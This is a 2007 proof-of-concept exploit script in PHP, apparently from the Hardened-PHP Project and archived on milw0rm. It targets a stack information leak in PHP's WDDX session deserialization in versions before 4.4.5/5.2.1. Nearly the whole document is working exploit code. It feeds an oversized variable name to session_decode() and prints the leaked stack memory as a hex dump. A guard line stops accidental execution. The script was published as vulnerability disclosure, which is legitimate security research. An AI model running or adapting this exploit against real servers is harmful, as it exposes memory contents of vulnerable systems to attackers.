PHP < 4.4.5/5.2.1 - WDDX Session Deserialization Information Leak

<?php
  ////////////////////////////////////////////////////////////////////////
  //  _  _                _                     _       ___  _  _  ___  //
  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \ //
  // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___||  _/| __ ||  _/ //
  // |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|   //
  //                                                                    //
  //         Proof of concept code from the Hardened-PHP Project        //
  //                   (C) Copyright 2007 Stefan Esser                  //
  //                                                                    //
  ////////////////////////////////////////////////////////////////////////
  //       PHP WDDX Session Deserialization Stack Information Leak      //
  ////////////////////////////////////////////////////////////////////////

  // This is meant as a protection against remote file inclusion.
  die("REMOVE THIS LINE");

  if (!extension_loaded("wddx")) {
    die("wddx extension needed\n");
  }

  ini_set("session.serialize_handler", "wddx");
  
  session_start();
  
  session_decode("<wddxPacket version='1.0'><header/><data><struct><var name='".str_repeat("A",8192)."'><string>A</string></var><var name='1'><string>1</string></var></struct></data></wddxPacket>");    

  $keys = array_keys($_SESSION);
  $stackdump = $keys[1];
  
  echo "Stackdump\n---------\n\n";
  
  for ($b=0; $b<strlen($stackdump); $b+=16) {
    printf("%08x: ", $b);
    for ($i=0; $i<16; $i++) {
      printf ("%02x ", ord($stackdump[$b+$i]));
    }
    for ($i=0; $i<16; $i++) {
      $c = ord($stackdump[$b+$i]);
      if ($c > 127 || $c < 32) {
        $c = ord(".");
      }
      printf ("%c", $c);
    }
    printf("\n");
  }
?>

# milw0rm.com [2007-03-04]